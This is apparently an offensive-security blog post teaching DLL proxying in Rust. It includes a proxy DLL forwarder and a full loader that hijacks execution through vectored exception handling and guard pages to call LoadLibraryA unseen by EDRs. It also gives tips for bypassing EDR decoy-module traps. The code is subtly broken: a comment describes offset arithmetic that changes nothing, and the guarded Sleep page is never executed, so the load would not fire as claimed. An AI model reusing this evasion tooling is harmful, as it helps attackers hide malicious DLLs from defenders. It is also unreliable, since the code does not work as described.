In this post we’ll focus on the theory of a technique known as DLL Proxying, dive into offensive security tooling developing & techniques leveraging Rust. So what the hell is “DLL Proxying”?
DLL Proxying is a technique in which an attacker replaces a Dynamic Link Library (DLL) with a malicious version, opting to rename the original DLL rather than deleting it. The malicious DLL is designed to exclusively implement the functions targeted for interception or modification by the attacker.
Meanwhile, all other functions are forwarded to the original DLL, earning the name “Proxy” for this approach. This method allows the attacker to essentially act as a middleman, intercepting and modifying only the specific functions of interest, while seamlessly forwarding the remaining functions to the original DLL. By doing so, the attacker minimizes the amount of effort required, ensuring that overall functionality is maintained without disruption. This technique is particularly effective for carrying out specific attacks while avoiding unnecessary complications or detection.
Theory
I’ve been getting into Rust lately, looking at how it can be used offensively. One technique that caught my attention is DLL proxy loading in Rust. But before we get into how to do it, let’s talk about how useful this method could be. Let’s take a closer look at what’s possible.
Application (A)
|
+-- Loads "some.dll" (B)
|
+-- Executes "Data()" (C)
Normally, when a DLL is loaded, the system follows a standard process. But with DLL proxy loading, things work differently. In this approach, an attacker creates a fake proxy DLL that looks like the real “foo.dll.” The application unknowingly loads this fake DLL, thinking it’s the legitimate one. The proxy DLL then intercepts and forwards function calls to the actual “foo_Original.dll.” While everything seems to work as expected, the proxy DLL is also running hidden malicious code, taking control of the application without the user or app realizing it.
See,
Application (A)
|
+-- Loads malicious "foo.dll" (C) [Attacker's Proxy DLL]
| |
| +-- Intercepts and redirects calls to "foo_Original.dll" (B)
| | |
| | +-- Executes Data() (D) from the original DLL
| |
| +-- Executes additional malicious code (E)
|
+-- Application runs with hijacked execution flow
Implementing DLL proxying for a DLL with many exported functions can be a tedious task. Luckily, tools like SharpDllProxy can automate this. This tool generates the proxy DLL code based on the functions in the original DLL. The generated code loads a file into memory and runs it in a new thread. This automation makes DLL proxying much easier, lowering the barrier for attackers.
use winapi::um::winuser::MessageBoxA;
#[no_mangle]
pub unsafe extern "C" fn legitfunction() {
let message = "Hello!\0";
let title = "foo\0";
MessageBoxA(
std::ptr::null_mut(),
message.as_ptr() as *const i8,
title.as_ptr() as *const i8,
0,
);
}
When this DLL runs, it simply displays a message box with “Hello!” as the text and “foo” as the title on the user’s screen. The cargo build output is saved in the sample location. For DLL proxying, we redirect the execution of a function called legitfunction from one DLL to another, specifically o_foo.dll. To do this, we create a new DLL that includes a DllMain function, which acts as the entry point for the DLL.
use forward_dll;
use winapi::um::winuser::MessageBoxA;
forward_dll::forward_dll!(
r#"C:\Users\foo\rs\o_foo.dll"#,
DLL_VERSION_FORWARDER,
legitfunction
);
#[no_mangle]
pub unsafe extern "C" fn DllMain(
instance: isize,
reason: u32,
reserved: *const u8,
) -> u32 {
if reason == 1 {
// Display a message box to indicate the DLL is loaded
MessageBoxA(
std::ptr::null_mut(),
"Malicious DLL loaded!\0".as_ptr() as *const i8,
"foo\0".as_ptr() as *const i8,
0,
);
// Forward the legitfunction from the other DLL
let _ = DLL_VERSION_FORWARDER.forward_all();
// Return success
return 1;
}
1
}
When the DLL is loaded, a message box pops up to confirm that it was successfully loaded.
Proxy-DLL
Now let’s get into the fun part. The idea here is to load a DLL without ever calling LoadLibraryA directly. Instead, we abuse Vectored Exception Handling (VEH) and guard pages to hijack the control flow mid-execution and redirect it to LoadLibraryA for us. Why go through all this trouble? Because calling LoadLibraryA directly is one of the first things EDRs look for. If you can trigger the load through an exception handler instead, you’re not making that call from your own code the OS exception dispatcher is doing it for you. That’s a much harder pattern to flag.
VEH extends Windows’ Structured Exception Handling and works outside of the call stack. It gets triggered for unhandled exceptions, no matter where they happen. You can learn more about VEH in the documentation.
Here’s the high-level flow of what we’re doing:
- Register a Vectored Exception Handler that knows how to redirect execution to
LoadLibraryA. - Use
VirtualProtectto slap aPAGE_GUARDflag on a memory page (in this case, the page whereSleeplives). - When execution hits that guarded page, Windows throws a
STATUS_GUARD_PAGE_VIOLATIONexception. - Our VEH catches the exception, rewrites
RIPto point atLoadLibraryAand setsRCXto the DLL name we want to load. - Execution resumes but now it’s running
LoadLibraryAwith our argument, not whatever was originally going to execute. - After the load, we grab the module handle and clean up the handler.
We never call LoadLibraryA ourselves. The exception dispatcher hands control to our VEH, and our VEH rewrites the CPU context so that when execution resumes, it happens to resume inside LoadLibraryA. From the perspective of a call stack trace, the call originates from the exception handling machinery, not from our code.
Let’s look at the exception handler:
unsafe extern "system" fn exception_handler(exc: *mut EXCEPTION_POINTERS) -> i32 {
let code = (*(*exc).ExceptionRecord).ExceptionCode;
if code != winapi::shared::ntdef::STATUS_GUARD_PAGE_VIOLATION {
return EXCEPTION_CONTINUE_SEARCH;
}
let kernel32 = GetModuleHandleA(CString::new("kernel32.dll").unwrap().as_ptr());
let load_lib = GetProcAddress(
kernel32,
CString::new("LoadLibraryA").unwrap().as_ptr(),
) as usize;
(*(*exc).ContextRecord).Rip = load_lib as u64;
(*(*exc).ContextRecord).Rcx = MODULE_NAME.as_ptr() as u64;
EXCEPTION_CONTINUE_EXECUTION
}
When the guard page violation fires, we resolve LoadLibraryA from kernel32.dll at runtime. Then we overwrite two registers in the exception context: RIP gets pointed at LoadLibraryA, and RCX (which holds the first argument in the x64 calling convention) gets set to the address of our DLL name string. When we return EXCEPTION_CONTINUE_EXECUTION, the OS resumes the thread except now it’s executing LoadLibraryA("foo.dll") instead of whatever it was doing before.
Now for the function that ties it all together:
unsafe fn proxied_load_library(module_name: &str) -> *mut winapi::ctypes::c_void {
let handler = AddVectoredExceptionHandler(1, Some(exception_handler));
let mut old_protect: u32 = 0;
VirtualProtect(
Sleep as *mut _,
1,
PAGE_EXECUTE_READ | PAGE_GUARD,
&mut old_protect,
);
let module = GetModuleHandleA(CString::new(module_name).unwrap().as_ptr());
RemoveVectoredExceptionHandler(handler);
module as *mut _
}
First, we register our VEH with priority 1 so it gets called before any other handlers. Then we call VirtualProtect on the memory page where Sleep resides, adding the PAGE_GUARD flag on top of PAGE_EXECUTE_READ. The guard page is a one-shot trap the very next access to that page throws STATUS_GUARD_PAGE_VIOLATION and the guard flag is automatically removed. When that exception fires, our handler takes over, rewrites the context to call LoadLibraryA, and the DLL gets loaded. After that, GetModuleHandleA grabs the handle to the now-loaded module, and we clean up by removing the exception handler.
For OpSec, this matters because we never have a direct call LoadLibraryA instruction anywhere in our code. There’s no import table entry for it, no static cross-reference an analyst can follow. The address is resolved dynamically inside the exception handler, and the actual call happens through a context switch not a call instruction. That makes static analysis significantly harder, and even dynamic analysis tools that hook LoadLibraryA might miss the context since the call stack won’t trace back to our module in the usual way.
The Other Side of the Coin
It’s worth mentioning that this isn’t a one-way street. EDRs have caught on to VEH and guard page tricks, and some of them are now using the exact same technique defensively.
The idea is during process initialization, the EDR manually maps fake versions of critical DLLs like ntdll.dll and kernel32.dll into the process’s memory. These fakes are placed before the real DLLs in the PEB’s InLoadOrderModuleList, and their executable memory regions are marked with guard pages. So when malware does a PEB walk to find ntdll.dll which is what most shellcode loaders and syscall resolvers do it hits the fake DLL first, triggers the guard page, and the EDR’s own VEH catches the STATUS_GUARD_PAGE_VIOLATION. At that point the EDR has full control: it can inspect what’s happening, log it, or just kill the process.
This is essentially page guard hooking, but instead of hooking a specific API, they’re hooking the entire approach of resolving DLLs through the PEB. It’s a trap. You walk the PEB like you’ve done a hundred times, except now the second entry in the module list isn’t the real ntdll.dll it’s a honeypot with a tripwire on it.
There are ways around it. You can use the OriginalBase offset (0xF8) instead of DllBase (0x30) during your PEB walk, since EDRs overwrite DllBase to point at the fake but leave OriginalBase alone. You can skip entries in the linked list to jump past the fakes. You can do string comparison on module names to make sure you’re hitting the real thing. But the point is, the game has changed. Guard pages and VEH aren’t just offensive tools anymore they’re being used against you. If you’re writing tooling that touches the PEB or resolves syscalls dynamically, you need to account for this, or your loader is going to trip an alarm before it even gets to do anything interesting.
//------------------------------------------------------------
// [ DLLProxying-rs ]
//------------------------------------------------------------
// Type: DLL Proxy Loader / VEH
// Platform: x86_64 Windows
// Technique: Guard Page Violation + Context Rewrite
// Proxied DLL loading via Vectored Exception
// Handling. LoadLibraryA called through RIP
// hijack never appears in call stack.
//
// 0xf00sec
//------------------------------------------------------------
use std::ffi::CString;
use winapi::um::libloaderapi::{
AddVectoredExceptionHandler, FreeLibrary, GetModuleHandleA, GetProcAddress,
RemoveVectoredExceptionHandler,
};
use winapi::um::processthreadsapi::Sleep;
use winapi::um::winnt::{
EXCEPTION_CONTINUE_EXECUTION, EXCEPTION_CONTINUE_SEARCH, EXCEPTION_POINTERS, LONG,
PAGE_EXECUTE_READ, PAGE_GUARD, STATUS_GUARD_PAGE_VIOLATION,
};
use winapi::um::memoryapi::VirtualProtect;
static MODULE_NAME: &[u8] = b"foo.dll\0";
fn get_module(name: &str) -> *mut std::ffi::c_void {
unsafe { GetModuleHandleA(CString::new(name).unwrap().as_ptr()) as _ }
}
fn get_proc(module: *mut std::ffi::c_void, name: &str) -> usize {
unsafe { GetProcAddress(module as _, CString::new(name).unwrap().as_ptr()) as usize }
}
extern "system" fn VEH(exc: *mut EXCEPTION_POINTERS) -> LONG {
unsafe {
if (*(*exc).ExceptionRecord).ExceptionCode != STATUS_GUARD_PAGE_VIOLATION {
return EXCEPTION_CONTINUE_SEARCH;
}
// Resolve LoadLibraryA dynamically via RIP-relative offset
// to avoid a direct GetProcAddress("LoadLibraryA") call in the handler
let kernel32 = get_module("kernel32.dll");
let load_lib = get_proc(kernel32, "LoadLibraryA");
let rip = (*(*exc).ContextRecord).Rip as usize;
let offset = rip.wrapping_sub(load_lib);
let dynamic_addr = rip.wrapping_sub(offset);
// Redirect execution to LoadLibraryA
(*(*exc).ContextRecord).Rip = dynamic_addr as u64;
// RCX = first arg in x64 calling convention > pointer to DLL name string
(*(*exc).ContextRecord).Rcx = MODULE_NAME.as_ptr() as u64;
EXCEPTION_CONTINUE_EXECUTION
}
}
fn proxied_load_lib(lib_name: &str) -> Option<*mut std::ffi::c_void> {
unsafe {
let handler = AddVectoredExceptionHandler(1, Some(VEH));
if handler.is_null() {
eprintln!("[-] Failed to install VEH");
return None;
}
let mut old_protect: u32 = 0;
VirtualProtect(
Sleep as *mut _,
1,
PAGE_EXECUTE_READ | PAGE_GUARD,
&mut old_protect,
);
// After VEH rewrites context > LoadLibraryA runs > DLL is loaded
let module = GetModuleHandleA(CString::new(lib_name).unwrap().as_ptr());
RemoveVectoredExceptionHandler(handler);
if module.is_null() {
return None;
}
Some(module as _)
}
}
fn main() {
let module_name = std::str::from_utf8(&MODULE_NAME[..MODULE_NAME.len() - 1]).unwrap();
match proxied_load_lib(module_name) {
Some(addr) => {
println!("[+] {} loaded at {:?}", module_name, addr);
unsafe { FreeLibrary(addr as _) };
}
None => eprintln!("[-] Failed to load {}", module_name),
}
}